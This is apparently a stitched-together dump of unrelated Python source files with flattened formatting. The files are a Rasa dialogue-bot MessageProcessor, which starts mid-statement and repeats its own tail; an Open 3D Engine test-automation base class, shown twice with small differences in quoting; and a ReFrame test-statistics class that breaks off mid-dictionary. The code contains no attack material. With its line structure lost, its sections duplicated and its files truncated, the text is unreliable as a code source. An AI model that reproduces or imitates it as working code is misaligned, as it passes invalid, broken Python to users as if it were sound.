ACTION_NAME_SENDER_ID_CONNECTOR_STR + tracker.sender_id ), ) @staticmethod async def _cancel_reminders( events: List[Event], tracker: DialogueStateTracker ) -> None: """Cancel reminders by action_name""" # All Reminders with the same action name will be cancelled for e in events: if isinstance(e, ReminderCancelled): name_to_check = ( str(e.action_name) + ACTION_NAME_SENDER_ID_CONNECTOR_STR + tracker.sender_id ) scheduler = await jobs.scheduler() for j in scheduler.get_jobs(): if j.name == name_to_check: scheduler.remove_job(j.id) async def _run_action( self, action, tracker, output_channel, nlg, policy=None, confidence=None ): # events and return values are used to update # the tracker state after an action has been taken try: events = await action.run(output_channel, nlg, tracker, self.domain) except ActionExecutionRejection: events = [ActionExecutionRejected(action.name(), policy, confidence)] tracker.update(events[0]) return self.should_predict_another_action(action.name(), events) except Exception as e: logger.error( "Encountered an exception while running action '{}'. " "Bot will continue, but the actions events are lost. " "Please check the logs of your action server for " "more information.".format(action.name()) ) logger.debug(e, exc_info=True) events = [] self._log_action_on_tracker(tracker, action.name(), events, policy, confidence) if action.name() != ACTION_LISTEN_NAME and not action.name().startswith( UTTER_PREFIX ): self._log_slots(tracker) await self._send_bot_messages(events, tracker, output_channel) await self._schedule_reminders(events, tracker, output_channel, nlg) await self._cancel_reminders(events, tracker) return self.should_predict_another_action(action.name(), events) def _warn_about_new_slots(self, tracker, action_name, events): # these are the events from that action we have seen during training if action_name not in self.policy_ensemble.action_fingerprints: return fp = self.policy_ensemble.action_fingerprints[action_name] slots_seen_during_train = fp.get("slots", set()) for e in events: if isinstance(e, SlotSet) and e.key not in slots_seen_during_train: s = tracker.slots.get(e.key) if s and s.has_features(): if e.key == "requested_slot" and tracker.active_form: pass else: warnings.warn( f"Action '{action_name}' set a slot type '{e.key}' that " f"it never set during the training. This " f"can throw of the prediction. Make sure to " f"include training examples in your stories " f"for the different types of slots this " f"action can return. Remember: you need to " f"set the slots manually in the stories by " f"adding '- slot{{\"{e.key}\": {e.value}}}' " f"after the action." ) def _log_action_on_tracker(self, tracker, action_name, events, policy, confidence): # Ensures that the code still works even if a lazy programmer missed # to type `return []` at the end of an action or the run method # returns `None` for some other reason. if events is None: events = [] logger.debug( "Action '{}' ended with events '{}'".format( action_name, [f"{e}" for e in events] ) ) self._warn_about_new_slots(tracker, action_name, events) if action_name is not None: # log the action and its produced events tracker.update(ActionExecuted(action_name, policy, confidence)) for e in events: # this makes sure the events are ordered by timestamp - # since the event objects are created somewhere else, # the timestamp would indicate a time before the time # of the action executed e.timestamp = time.time() tracker.update(e, self.domain) def _get_tracker(self, sender_id: Text) -> Optional[DialogueStateTracker]: sender_id = sender_id or UserMessage.DEFAULT_SENDER_ID return self.tracker_store.get_or_create_tracker(sender_id) def _save_tracker(self, tracker: DialogueStateTracker) -> None: self.tracker_store.save(tracker) def _prob_array_for_action( self, action_name: Text ) -> Tuple[Optional[List[float]], None]: idx = self.domain.index_for_action(action_name) if idx is not None: result = [0.0] * self.domain.num_actions result[idx] = 1.0 return result, None else: return None, None def _get_next_action_probabilities( self, tracker: DialogueStateTracker ) -> Tuple[Optional[List[float]], Optional[Text]]: """Collect predictions from ensemble and return action and predictions. """ followup_action = tracker.followup_action if followup_action: tracker.clear_followup_action() result = self._prob_array_for_action(followup_action) if result: return result else: logger.error( "Trying to run unknown follow up action '{}'!" "Instead of running that, we will ignore the action " "and predict the next action.".format(followup_action) ) return self.policy_ensemble.probabilities_using_best_policy( tracker, self.domain )
import json import warnings import logging import os from types import LambdaType from typing import Any, Dict, List, Optional, Text, Tuple import numpy as np import time from rasa.core import jobs from rasa.core.actions.action import Action from rasa.core.actions.action import ACTION_LISTEN_NAME, ActionExecutionRejection from rasa.core.channels.channel import ( CollectingOutputChannel, UserMessage, OutputChannel, ) from rasa.core.constants import ( ACTION_NAME_SENDER_ID_CONNECTOR_STR, USER_INTENT_RESTART, UTTER_PREFIX, USER_INTENT_BACK, USER_INTENT_OUT_OF_SCOPE, ) from rasa.core.domain import Domain from rasa.core.events import ( ActionExecuted, ActionExecutionRejected, Event, ReminderCancelled, ReminderScheduled, SlotSet, UserUttered, BotUttered, ) from rasa.core.interpreter import ( INTENT_MESSAGE_PREFIX, NaturalLanguageInterpreter, RegexInterpreter, ) from rasa.core.nlg import NaturalLanguageGenerator from rasa.core.policies.ensemble import PolicyEnsemble from rasa.core.tracker_store import TrackerStore from rasa.core.trackers import DialogueStateTracker, EventVerbosity from rasa.utils.endpoints import EndpointConfig logger = logging.getLogger(__name__) MAX_NUMBER_OF_PREDICTIONS = int(os.environ.get("MAX_NUMBER_OF_PREDICTIONS", "10")) class MessageProcessor: def __init__( self, interpreter: NaturalLanguageInterpreter, policy_ensemble: PolicyEnsemble, domain: Domain, tracker_store: TrackerStore, generator: NaturalLanguageGenerator, action_endpoint: Optional[EndpointConfig] = None, max_number_of_predictions: int = MAX_NUMBER_OF_PREDICTIONS, message_preprocessor: Optional[LambdaType] = None, on_circuit_break: Optional[LambdaType] = None, ): self.interpreter = interpreter self.nlg = generator self.policy_ensemble = policy_ensemble self.domain = domain self.tracker_store = tracker_store self.max_number_of_predictions = max_number_of_predictions self.message_preprocessor = message_preprocessor self.on_circuit_break = on_circuit_break self.action_endpoint = action_endpoint async def handle_message( self, message: UserMessage ) -> Optional[List[Dict[Text, Any]]]: """Handle a single message with this processor.""" # preprocess message if necessary tracker = await self.log_message(message, should_save_tracker=False) if not tracker: return None if not self.policy_ensemble or not self.domain: # save tracker state to continue conversation from this state self._save_tracker(tracker) warnings.warn( "No policy ensemble or domain set. Skipping action prediction " "and execution." ) return None await self._predict_and_execute_next_action(message, tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) if isinstance(message.output_channel, CollectingOutputChannel): return message.output_channel.messages else: return None def predict_next(self, sender_id: Text) -> Optional[Dict[Text, Any]]: # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(sender_id) if not tracker: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return None if not self.policy_ensemble or not self.domain: # save tracker state to continue conversation from this state warnings.warn( "No policy ensemble or domain set. Skipping action prediction " ) return None probabilities, policy = self._get_next_action_probabilities(tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) scores = [ {"action": a, "score": p} for a, p in zip(self.domain.action_names, probabilities) ] return { "scores": scores, "policy": policy, "confidence": np.max(probabilities), "tracker": tracker.current_state(EventVerbosity.AFTER_RESTART), } async def log_message( self, message: UserMessage, should_save_tracker: bool = True ) -> Optional[DialogueStateTracker]: """Log `message` on tracker belonging to the message's conversation_id. Optionally save the tracker if `should_save_tracker` is `True`. Tracker saving can be skipped if the tracker returned by this method is used for further processing and saved at a later stage. """ # preprocess message if necessary if self.message_preprocessor is not None: message.text = self.message_preprocessor(message.text) # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(message.sender_id) if tracker: await self._handle_message_with_tracker(message, tracker) if should_save_tracker: # save tracker state to continue conversation from this state self._save_tracker(tracker) else: logger.warning( "Failed to retrieve or create tracker for sender " f"'{message.sender_id}'." ) return tracker async def execute_action( self, sender_id: Text, action_name: Text, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, policy: Text, confidence: float, ) -> Optional[DialogueStateTracker]: # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(sender_id) if tracker: action = self._get_action(action_name) await self._run_action( action, tracker, output_channel, nlg, policy, confidence ) # save tracker state to continue conversation from this state self._save_tracker(tracker) else: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return tracker def predict_next_action( self, tracker: DialogueStateTracker ) -> Tuple[Action, Text, float]: """Predicts the next action the bot should take after seeing x. This should be overwritten by more advanced policies to use ML to predict the action. Returns the index of the next action.""" action_confidences, policy = self._get_next_action_probabilities(tracker) max_confidence_index = int(np.argmax(action_confidences)) action = self.domain.action_for_index( max_confidence_index, self.action_endpoint ) logger.debug( "Predicted next action '{}' with confidence {:.2f}.".format( action.name(), action_confidences[max_confidence_index] ) ) return action, policy, action_confidences[max_confidence_index] @staticmethod def _is_reminder(e: Event, name: Text) -> bool: return isinstance(e, ReminderScheduled) and e.name == name @staticmethod def _is_reminder_still_valid( tracker: DialogueStateTracker, reminder_event: ReminderScheduled ) -> bool: """Check if the conversation has been restarted after reminder.""" for e in reversed(tracker.applied_events()): if MessageProcessor._is_reminder(e, reminder_event.name): return True return False # not found in applied events --> has been restarted @staticmethod def _has_message_after_reminder( tracker: DialogueStateTracker, reminder_event: ReminderScheduled ) -> bool: """Check if the user sent a message after the reminder.""" for e in reversed(tracker.events): if MessageProcessor._is_reminder(e, reminder_event.name): return False elif isinstance(e, UserUttered) and e.text: return True return True # tracker has probably been restarted async def handle_reminder( self, reminder_event: ReminderScheduled, sender_id: Text, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, ) -> None: """Handle a reminder that is triggered asynchronously.""" tracker = self._get_tracker(sender_id) if not tracker: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return None if ( reminder_event.kill_on_user_message and self._has_message_after_reminder(tracker, reminder_event) or not self._is_reminder_still_valid(tracker, reminder_event) ): logger.debug( "Canceled reminder because it is outdated. " "(event: {} id: {})".format( reminder_event.action_name, reminder_event.name ) ) else: # necessary for proper featurization, otherwise the previous # unrelated message would influence featurization tracker.update(UserUttered.empty()) action = self._get_action(reminder_event.action_name) should_continue = await self._run_action( action, tracker, output_channel, nlg ) if should_continue: user_msg = UserMessage(None, output_channel, sender_id) await self._predict_and_execute_next_action(user_msg, tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) @staticmethod def _log_slots(tracker): # Log currently set slots slot_values = "\n".join( [f"\t{s.name}: {s.value}" for s in tracker.slots.values()] ) if slot_values.strip(): logger.debug(f"Current slot values: \n{slot_values}") def _log_unseen_features(self, parse_data: Dict[Text, Any]) -> None: """Check if the NLU interpreter picks up intents or entities that aren't recognized.""" domain_is_not_empty = self.domain and not self.domain.is_empty() default_intents = [ USER_INTENT_RESTART, USER_INTENT_BACK, USER_INTENT_OUT_OF_SCOPE, ] intent = parse_data["intent"]["name"] if intent: intent_is_recognized = ( domain_is_not_empty and intent in self.domain.intents ) or intent in default_intents if not intent_is_recognized: warnings.warn( f"Interpreter parsed an intent '{intent}' " "that is not defined in the domain." ) entities = parse_data["entities"] or [] for element in entities: entity = element["entity"] if entity and domain_is_not_empty and entity not in self.domain.entities: warnings.warn( f"Interpreter parsed an entity '{entity}' " "that is not defined in the domain." ) def _get_action(self, action_name): return self.domain.action_for_name(action_name, self.action_endpoint) async def _parse_message(self, message, tracker: DialogueStateTracker = None): # for testing - you can short-cut the NLU part with a message # in the format /intent{"entity1": val1, "entity2": val2} # parse_data is a dict of intent & entities if message.text.startswith(INTENT_MESSAGE_PREFIX): parse_data = await RegexInterpreter().parse( message.text, message.message_id, tracker ) else: parse_data = await self.interpreter.parse( message.text, message.message_id, tracker ) logger.debug( "Received user message '{}' with intent '{}' " "and entities '{}'".format( message.text, parse_data["intent"], parse_data["entities"] ) ) self._log_unseen_features(parse_data) return parse_data async def _handle_message_with_tracker( self, message: UserMessage, tracker: DialogueStateTracker ) -> None: if message.parse_data: parse_data = message.parse_data else: parse_data = await self._parse_message(message, tracker) # don't ever directly mutate the tracker # - instead pass its events to log tracker.update( UserUttered( message.text, parse_data["intent"], parse_data["entities"], parse_data, input_channel=message.input_channel, message_id=message.message_id, metadata=message.metadata, ), self.domain, ) if parse_data["entities"]: self._log_slots(tracker) logger.debug( "Logged UserUtterance - " "tracker now has {} events".format(len(tracker.events)) ) @staticmethod def _should_handle_message(tracker: DialogueStateTracker): return ( not tracker.is_paused() or tracker.latest_message.intent.get("name") == USER_INTENT_RESTART ) async def _predict_and_execute_next_action( self, message: UserMessage, tracker: DialogueStateTracker ): # keep taking actions decided by the policy until it chooses to 'listen' should_predict_another_action = True num_predicted_actions = 0 def is_action_limit_reached(): return ( num_predicted_actions == self.max_number_of_predictions and should_predict_another_action ) # action loop. predicts actions until we hit action listen while ( should_predict_another_action and self._should_handle_message(tracker) and num_predicted_actions < self.max_number_of_predictions ): # this actually just calls the policy's method by the same name action, policy, confidence = self.predict_next_action(tracker) should_predict_another_action = await self._run_action( action, tracker, message.output_channel, self.nlg, policy, confidence ) num_predicted_actions += 1 if is_action_limit_reached(): # circuit breaker was tripped logger.warning( "Circuit breaker tripped. Stopped predicting " f"more actions for sender '{tracker.sender_id}'." ) if self.on_circuit_break: # call a registered callback self.on_circuit_break(tracker, message.output_channel, self.nlg) # noinspection PyUnusedLocal @staticmethod def should_predict_another_action(action_name, events): is_listen_action = action_name == ACTION_LISTEN_NAME return not is_listen_action @staticmethod async def _send_bot_messages( events: List[Event], tracker: DialogueStateTracker, output_channel: OutputChannel, ) -> None: """Send all the bot messages that are logged in the events array.""" for e in events: if not isinstance(e, BotUttered): continue await output_channel.send_response(tracker.sender_id, e.message()) async def _schedule_reminders( self, events: List[Event], tracker: DialogueStateTracker, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, ) -> None: """Uses the scheduler to time a job to trigger the passed reminder. Reminders with the same `id` property will overwrite one another (i.e. only one of them will eventually run).""" for e in events: if not isinstance(e, ReminderScheduled): continue (await jobs.scheduler()).add_job( self.handle_reminder, "date", run_date=e.trigger_date_time, args=[e, tracker.sender_id, output_channel, nlg], id=e.name, replace_existing=True, name=( str(e.action_name) + ACTION_NAME_SENDER_ID_CONNECTOR_STR + tracker.sender_id ), ) @staticmethod async def _cancel_reminders( events: List[Event], tracker: DialogueStateTracker ) -> None: """Cancel reminders by action_name""" # All Reminders with the same action name will be cancelled for e in events: if isinstance(e, ReminderCancelled): name_to_check = ( str(e.action_name) + ACTION_NAME_SENDER_ID_CONNECTOR_STR + tracker.sender_id ) scheduler = await jobs.scheduler() for j in scheduler.get_jobs(): if j.name == name_to_check: scheduler.remove_job(j.id) async def _run_action( self, action, tracker, output_channel, nlg, policy=None, confidence=None ): # events and return values are used to update # the tracker state after an action has been taken try: events = await action.run(output_channel, nlg, tracker, self.domain) except ActionExecutionRejection: events = [ActionExecutionRejected(action.name(), policy, confidence)] tracker.update(events[0]) return self.should_predict_another_action(action.name(), events) except Exception as e: logger.error( "Encountered an exception while running action '{}'. " "Bot will continue, but the actions events are lost. " "Please check the logs of your action server for " "more information.".format(action.name()) ) logger.debug(e, exc_info=True) events = [] self._log_action_on_tracker(tracker, action.name(), events, policy, confidence) if action.name() != ACTION_LISTEN_NAME and not action.name().startswith( UTTER_PREFIX ): self._log_slots(tracker) await self._send_bot_messages(events, tracker, output_channel) await self._schedule_reminders(events, tracker, output_channel, nlg) await self._cancel_reminders(events, tracker) return self.should_predict_another_action(action.name(), events) def _warn_about_new_slots(self, tracker, action_name, events): # these are the events from that action we have seen during training if action_name not in self.policy_ensemble.action_fingerprints: return fp = self.policy_ensemble.action_fingerprints[action_name] slots_seen_during_train = fp.get("slots", set()) for e in events: if isinstance(e, SlotSet) and e.key not in slots_seen_during_train: s = tracker.slots.get(e.key) if s and s.has_features(): if e.key == "requested_slot" and tracker.active_form: pass else: warnings.warn( f"Action '{action_name}' set a slot type '{e.key}' that " f"it never set during the training. This " f"can throw of the prediction. Make sure to " f"include training examples in your stories " f"for the different types of slots this " f"action can return. Remember: you need to " f"set the slots manually in the stories by " f"adding '- slot{{\"{e.key}\": {e.value}}}' " f"after the action." ) def _log_action_on_tracker(self, tracker, action_name, events, policy, confidence): # Ensures that the code still works even if a lazy programmer missed # to type `return []` at the end of an action or the run method # returns `None` for some other reason. if events is None: events = [] logger.debug( "Action '{}' ended with events '{}'".format( action_name, [f"{e}" for e in events] ) ) self._warn_about_new_slots(tracker, action_name, events) if action_name is not None: # log the action and its produced events tracker.update(ActionExecuted(action_name, policy, confidence)) for e in events: # this makes sure the events are ordered by timestamp - # since the event objects are created somewhere else, # the timestamp would indicate a time before the time # of the action executed e.timestamp = time.time() tracker.update(e, self.domain) def _get_tracker(self, sender_id: Text) -> Optional[DialogueStateTracker]: sender_id = sender_id or UserMessage.DEFAULT_SENDER_ID return self.tracker_store.get_or_create_tracker(sender_id) def _save_tracker(self, tracker: DialogueStateTracker) -> None: self.tracker_store.save(tracker) def _prob_array_for_action( self, action_name: Text ) -> Tuple[Optional[List[float]], None]: idx = self.domain.index_for_action(action_name) if idx is not None: result = [0.0] * self.domain.num_actions result[idx] = 1.0 return result, None else: return None, None def _get_next_action_probabilities( self, tracker: DialogueStateTracker ) -> Tuple[Optional[List[float]], Optional[Text]]: """Collect predictions from ensemble and return action and predictions. """ followup_action = tracker.followup_action if followup_action: tracker.clear_followup_action() result = self._prob_array_for_action(followup_action) if result: return result else: logger.error( "Trying to run unknown follow up action '{}'!" "Instead of running that, we will ignore the action " "and predict the next action.".format(followup_action) ) return self.policy_ensemble.probabilities_using_best_policy( tracker, self.domain )
""" Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution. SPDX-License-Identifier: Apache-2.0 OR MIT """ import os import logging import sys import pytest import time from os import path import ly_test_tools.environment.file_system as file_system import ly_test_tools.environment.process_utils as process_utils import ly_test_tools.environment.waiter as waiter from ly_test_tools.o3de.asset_processor import AssetProcessor from ly_test_tools.launchers.exceptions import WaitTimeoutError from ly_test_tools.log.log_monitor import LogMonitor, LogMonitorException class TestRunError(): def __init__(self, title, content): self.title = title self.content = content class TestAutomationBase: MAX_TIMEOUT = 180 # 3 minutes max for a test to run WAIT_FOR_CRASH_LOG = 20 # Seconds for waiting for a crash log TEST_FAIL_RETCODE = 0xF # Return code for test failure test_times = {} asset_processor = None def setup_class(cls): cls.test_times = {} cls.editor_times = {} cls.asset_processor = None def teardown_class(cls): logger = logging.getLogger(__name__) # Report times time_info_str = "Individual test times (Full test time, Editor test time):\n" for testcase_name, t in cls.test_times.items(): editor_t = cls.editor_times[testcase_name] time_info_str += f"{testcase_name}: (Full:{t} sec, Editor:{editor_t} sec)\n" logger.info(time_info_str) if cls.asset_processor is not None: cls.asset_processor.teardown() # Kill all ly processes cls._kill_ly_processes(include_asset_processor=True) def _run_test(self, request, workspace, editor, testcase_module, extra_cmdline_args=[], batch_mode=True, autotest_mode=True, use_null_renderer=True, enable_prefab_system=True): test_starttime = time.time() self.logger = logging.getLogger(__name__) errors = [] testcase_name = os.path.basename(testcase_module.__file__) ######### # Setup # if self.asset_processor is None: self._kill_ly_processes(include_asset_processor=True) self.__class__.asset_processor = AssetProcessor(workspace) self.asset_processor.backup_ap_settings() else: self._kill_ly_processes(include_asset_processor=False) if not self.asset_processor.process_exists(): self.asset_processor.start() self.asset_processor.wait_for_idle() def teardown(): if os.path.exists(workspace.paths.editor_log()): workspace.artifact_manager.save_artifact(workspace.paths.editor_log()) try: file_system.restore_backup(workspace.paths.editor_log(), workspace.paths.project_log()) except FileNotFoundError as e: self.logger.debug(f"File restoration failed, editor log could not be found.\nError: {e}") editor.stop() request.addfinalizer(teardown) if os.path.exists(workspace.paths.editor_log()): self.logger.debug("Creating backup for existing editor log before test run.") file_system.create_backup(workspace.paths.editor_log(), workspace.paths.project_log()) ############ # Run test # editor_starttime = time.time() self.logger.debug("Running automated test") testcase_module_filepath = self._get_testcase_module_filepath(testcase_module) pycmd = ["--runpythontest", testcase_module_filepath, f"-pythontestcase={request.node.name}"] if use_null_renderer: pycmd += ["-rhi=null"] if batch_mode: pycmd += ["-BatchMode"] if autotest_mode: pycmd += ["-autotest_mode"] if enable_prefab_system: pycmd += [ "--regset=/Amazon/Preferences/EnablePrefabSystem=true", f"--regset-file={path.join(workspace.paths.engine_root(), "Registry", "prefab.test.setreg")}"] else: pycmd += ["--regset=/Amazon/Preferences/EnablePrefabSystem=false"] pycmd += extra_cmdline_args editor.args.extend(pycmd) # args are added to the WinLauncher start command editor.start(backupFiles = False, launch_ap = False) try: editor.wait(TestAutomationBase.MAX_TIMEOUT) except WaitTimeoutError: errors.append(TestRunError("TIMEOUT", f"Editor did not close after {TestAutomationBase.MAX_TIMEOUT} seconds, verify the test is ending and the application didn't freeze")) editor.stop() output = editor.get_output() self.logger.debug("Test output:\n" + output) return_code = editor.get_returncode() self.editor_times[testcase_name] = time.time() - editor_starttime ################### # Validate result # if return_code != 0: if output: error_str = "Test failed, output:\n" + output.replace("\n", "\n ") else: error_str = "Test failed, no output available..\n" errors.append(TestRunError("FAILED TEST", error_str)) if return_code and return_code != TestAutomationBase.TEST_FAIL_RETCODE: # Crashed crash_info = "-- No crash log available --" crash_log = workspace.paths.crash_log() try: waiter.wait_for(lambda: os.path.exists(crash_log), timeout=TestAutomationBase.WAIT_FOR_CRASH_LOG) except AssertionError: pass try: with open(crash_log) as f: crash_info = f.read() except Exception as ex: crash_info += f"\n{str(ex)}" return_code_str = f"0x{return_code:0X}" if isinstance(return_code, int) else "None" error_str = f"Editor.exe crashed, return code: {return_code_str}\n\nCrash log:\n{crash_info}" errors.append(TestRunError("CRASH", error_str)) self.test_times[testcase_name] = time.time() - test_starttime ################### # Error reporting # if errors: error_str = "Error list:\n" longest_title = max([len(e.title) for e in errors]) longest_title += (longest_title % 2) # make it even spaces longest_title = max(30, longest_title) # at least 30 - header_decoration = "-".center(longest_title, "-") + "\n" for e in errors: error_str += header_decoration error_str += f" {e.title} ".center(longest_title, "-") + "\n" error_str += header_decoration for line in e.content.split("\n"): error_str += f" {line}\n" error_str += header_decoration error_str += "Editor log:\n" try: with open(workspace.paths.editor_log()) as f: log_basename = os.path.basename(workspace.paths.editor_log()) for line in f.readlines(): error_str += f"|{log_basename}| {line}" except Exception as ex: error_str += f"-- No log available ({ex})--" pytest.fail(error_str) @staticmethod def _kill_ly_processes(include_asset_processor=True): LY_PROCESSES = [ 'Editor', 'Profiler', 'RemoteConsole', 'AutomatedTesting.ServerLauncher', 'o3de' ] AP_PROCESSES = [ 'AssetProcessor', 'AssetProcessorBatch', 'AssetBuilder', 'CrySCompileServer', 'rc' # Resource Compiler ] if include_asset_processor: process_utils.kill_processes_named(LY_PROCESSES+AP_PROCESSES, ignore_extensions=True) else: process_utils.kill_processes_named(LY_PROCESSES, ignore_extensions=True) @staticmethod def _get_testcase_module_filepath(testcase_module): # type: (Module) -> str """ return the full path of the test module :param testcase_module: The testcase python module being tested :return str: The full path to the testcase module """ return os.path.splitext(testcase_module.__file__)[0] + ".py"
""" Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution. SPDX-License-Identifier: Apache-2.0 OR MIT """ import os import logging import sys import pytest import time from os import path import ly_test_tools.environment.file_system as file_system import ly_test_tools.environment.process_utils as process_utils import ly_test_tools.environment.waiter as waiter from ly_test_tools.o3de.asset_processor import AssetProcessor from ly_test_tools.launchers.exceptions import WaitTimeoutError from ly_test_tools.log.log_monitor import LogMonitor, LogMonitorException class TestRunError(): def __init__(self, title, content): self.title = title self.content = content class TestAutomationBase: MAX_TIMEOUT = 180 # 3 minutes max for a test to run WAIT_FOR_CRASH_LOG = 20 # Seconds for waiting for a crash log TEST_FAIL_RETCODE = 0xF # Return code for test failure test_times = {} asset_processor = None def setup_class(cls): cls.test_times = {} cls.editor_times = {} cls.asset_processor = None def teardown_class(cls): logger = logging.getLogger(__name__) # Report times time_info_str = "Individual test times (Full test time, Editor test time):\n" for testcase_name, t in cls.test_times.items(): editor_t = cls.editor_times[testcase_name] time_info_str += f"{testcase_name}: (Full:{t} sec, Editor:{editor_t} sec)\n" logger.info(time_info_str) if cls.asset_processor is not None: cls.asset_processor.teardown() # Kill all ly processes cls._kill_ly_processes(include_asset_processor=True) def _run_test(self, request, workspace, editor, testcase_module, extra_cmdline_args=[], batch_mode=True, autotest_mode=True, use_null_renderer=True, enable_prefab_system=True): test_starttime = time.time() self.logger = logging.getLogger(__name__) errors = [] testcase_name = os.path.basename(testcase_module.__file__) ######### # Setup # if self.asset_processor is None: self._kill_ly_processes(include_asset_processor=True) self.__class__.asset_processor = AssetProcessor(workspace) self.asset_processor.backup_ap_settings() else: self._kill_ly_processes(include_asset_processor=False) if not self.asset_processor.process_exists(): self.asset_processor.start() self.asset_processor.wait_for_idle() def teardown(): if os.path.exists(workspace.paths.editor_log()): workspace.artifact_manager.save_artifact(workspace.paths.editor_log()) try: file_system.restore_backup(workspace.paths.editor_log(), workspace.paths.project_log()) except FileNotFoundError as e: self.logger.debug(f"File restoration failed, editor log could not be found.\nError: {e}") editor.stop() request.addfinalizer(teardown) if os.path.exists(workspace.paths.editor_log()): self.logger.debug("Creating backup for existing editor log before test run.") file_system.create_backup(workspace.paths.editor_log(), workspace.paths.project_log()) ############ # Run test # editor_starttime = time.time() self.logger.debug("Running automated test") testcase_module_filepath = self._get_testcase_module_filepath(testcase_module) pycmd = ["--runpythontest", testcase_module_filepath, f"-pythontestcase={request.node.name}"] if use_null_renderer: pycmd += ["-rhi=null"] if batch_mode: pycmd += ["-BatchMode"] if autotest_mode: pycmd += ["-autotest_mode"] if enable_prefab_system: pycmd += [ "--regset=/Amazon/Preferences/EnablePrefabSystem=true", f"--regset-file={path.join(workspace.paths.engine_root(), 'Registry', 'prefab.test.setreg')}"] else: pycmd += ["--regset=/Amazon/Preferences/EnablePrefabSystem=false"] pycmd += extra_cmdline_args editor.args.extend(pycmd) # args are added to the WinLauncher start command editor.start(backupFiles = False, launch_ap = False) try: editor.wait(TestAutomationBase.MAX_TIMEOUT) except WaitTimeoutError: errors.append(TestRunError("TIMEOUT", f"Editor did not close after {TestAutomationBase.MAX_TIMEOUT} seconds, verify the test is ending and the application didn't freeze")) editor.stop() output = editor.get_output() self.logger.debug("Test output:\n" + output) return_code = editor.get_returncode() self.editor_times[testcase_name] = time.time() - editor_starttime ################### # Validate result # if return_code != 0: if output: error_str = "Test failed, output:\n" + output.replace("\n", "\n ") else: error_str = "Test failed, no output available..\n" errors.append(TestRunError("FAILED TEST", error_str)) if return_code and return_code != TestAutomationBase.TEST_FAIL_RETCODE: # Crashed crash_info = "-- No crash log available --" crash_log = workspace.paths.crash_log() try: waiter.wait_for(lambda: os.path.exists(crash_log), timeout=TestAutomationBase.WAIT_FOR_CRASH_LOG) except AssertionError: pass try: with open(crash_log) as f: crash_info = f.read() except Exception as ex: crash_info += f"\n{str(ex)}" return_code_str = f"0x{return_code:0X}" if isinstance(return_code, int) else "None" error_str = f"Editor.exe crashed, return code: {return_code_str}\n\nCrash log:\n{crash_info}" errors.append(TestRunError("CRASH", error_str)) self.test_times[testcase_name] = time.time() - test_starttime ################### # Error reporting # if errors: error_str = "Error list:\n" longest_title = max([len(e.title) for e in errors]) longest_title += (longest_title % 2) # make it even spaces longest_title = max(30, longest_title) # at least 30 - header_decoration = "-".center(longest_title, "-") + "\n" for e in errors: error_str += header_decoration error_str += f" {e.title} ".center(longest_title, "-") + "\n" error_str += header_decoration for line in e.content.split("\n"): error_str += f" {line}\n" error_str += header_decoration error_str += "Editor log:\n" try: with open(workspace.paths.editor_log()) as f: log_basename = os.path.basename(workspace.paths.editor_log()) for line in f.readlines(): error_str += f"|{log_basename}| {line}" except Exception as ex: error_str += f"-- No log available ({ex})--" pytest.fail(error_str) @staticmethod def _kill_ly_processes(include_asset_processor=True): LY_PROCESSES = [ 'Editor', 'Profiler', 'RemoteConsole', 'AutomatedTesting.ServerLauncher', 'o3de' ] AP_PROCESSES = [ 'AssetProcessor', 'AssetProcessorBatch', 'AssetBuilder', 'CrySCompileServer', 'rc' # Resource Compiler ] if include_asset_processor: process_utils.kill_processes_named(LY_PROCESSES+AP_PROCESSES, ignore_extensions=True) else: process_utils.kill_processes_named(LY_PROCESSES, ignore_extensions=True) @staticmethod def _get_testcase_module_filepath(testcase_module): # type: (Module) -> str """ return the full path of the test module :param testcase_module: The testcase python module being tested :return str: The full path to the testcase module """ return os.path.splitext(testcase_module.__file__)[0] + ".py"
# Copyright 2016-2021 Swiss National Supercomputing Centre (CSCS/ETH Zurich) # ReFrame Project Developers. See the top-level LICENSE file for details. # # SPDX-License-Identifier: BSD-3-Clause import inspect import traceback import reframe.core.runtime as rt import reframe.core.exceptions as errors import reframe.utility as util class TestStats: '''Stores test case statistics.''' def __init__(self): # Tasks per run stored as follows: [[run0_tasks], [run1_tasks], ...] self._alltasks = [[]] # Data collected for all the runs of this session in JSON format self._run_data = [] def add_task(self, task): current_run = rt.runtime().current_run if current_run == len(self._alltasks): self._alltasks.append([]) self._alltasks[current_run].append(task) def tasks(self, run=-1): try: return self._alltasks[run] except IndexError: raise errors.StatisticsError(f'no such run: {run}') from None def failed(self, run=-1): return [t for t in self.tasks(run) if t.failed] def skipped(self, run=-1): return [t for t in self.tasks(run) if t.skipped] def aborted(self, run=-1): return [t for t in self.tasks(run) if t.aborted] def completed(self, run=-1): return [t for t in self.tasks(run) if t.completed] def num_cases(self, run=-1): return len(self.tasks(run)) def retry_report(self): # Return an empty report if no retries were done. if not rt.runtime().current_run: return '' line_width = 78 report = [line_width * '='] report.append('SUMMARY OF RETRIES') report.append(line_width * '-') messages = {} for run in range(1, len(self._alltasks)): for t in self.tasks(run): partition_name = '' environ_name = '' if t.check.current_partition: partition_name = t.check.current_partition.fullname if t.check.current_environ: environ_name = t.check.current_environ.name # Overwrite entry from previous run if available messages[f"{t.check.name}:{partition_name}:{environ_name}"] = ( f" * Test {t.check.info()} was retried {run} time(s) and " f"{"failed" if t.failed else "passed"}." ) for key in sorted(messages.keys()): report.append(messages[key]) return '\n'.join(report) def json(self, force=False): if not force and self._run_data: return self._run_data for runid, run in enumerate(self._alltasks): testcases = [] num_failures = 0 num_aborted = 0 num_skipped = 0 for t in run: check = t.check partition = check.current_partition entry = { 'build_stderr': None, 'build_stdout': None, 'dependencies_actual': [ (d.check.name, d.partition.fullname, d.environ.name) for d in t.testcase.deps ], 'dependencies_conceptual': [ d[0] for d in t.check.user_deps() ], 